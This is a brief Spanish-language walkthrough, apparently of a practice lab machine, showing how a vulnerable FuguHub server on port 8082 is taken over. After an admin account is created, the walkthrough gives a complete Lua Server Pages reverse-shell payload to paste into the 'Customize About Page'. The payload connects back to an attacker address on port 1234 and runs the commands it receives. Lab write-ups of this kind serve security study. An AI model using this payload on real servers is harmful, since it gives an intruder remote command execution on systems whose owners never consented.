192.168.236.25

Enumeration

image.png

image.png

Port 8082

Vemos que hay un servidor FuguHub vulnerable

image.png

Creamos el usuario administrador

<aside> 🔒

[email protected]

admin

password

</aside>

En /rtl/protected/admin/customize.lsp insertamos un payload donde se señala (Customize About Page)

image.png

<?lsp if request:method() == "GET" then ?>
    <?lsp 
        local host, port = "192.168.45.236", 1234
        local socket = require("socket")
        local tcp = socket.tcp()
        local io = require("io")
        local connection, err = tcp:connect(host, port)
        
        if not connection then
            print("Error connecting: " .. err)
            return
        end
        
        while true do
            local cmd, status, partial = tcp:receive()
            if status == "closed" or status == "timeout" then break end
            if cmd then
                local f = io.popen(cmd, "r")
                local s = f:read("*a")
                f:close()
                tcp:send(s)
            end
        end
        
        tcp:close()
    ?>
<?lsp else ?>
    Wrong request method, goodBye! 
<?lsp end ?>

Hacemos clic en About y obtenemos la reverse shell

image.png

image.png